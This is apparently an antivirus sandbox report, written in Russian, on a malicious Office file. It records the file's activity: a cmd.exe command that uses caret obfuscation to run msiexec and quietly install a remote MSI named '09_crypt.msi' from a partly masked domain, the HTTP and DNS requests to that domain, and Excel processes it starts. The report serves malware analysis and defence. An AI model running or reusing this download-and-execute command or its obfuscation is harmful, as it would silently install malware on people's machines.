Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C ms^iE^x^ec /i http://go###izm.com/wp-content/themes/busify/ss/09_crypt.msi /qn
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{8a5a771a-644b-4144-9e1d-0af065ebbf1a}.tmp
Сетевая активность
TCP
Запросы HTTP GET
- http://go###izm.com/wp-content/themes/busify/ss/09_crypt.msi
UDP
- DNS ASK go###izm.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C ms^iE^x^ec /i http://go###izm.com/wp-content/themes/busify/ss/09_crypt.msi /qn' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\msiexec.exe' /i http://go###izm.com/wp-content/themes/busify/ss/09_crypt.msi /qn
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
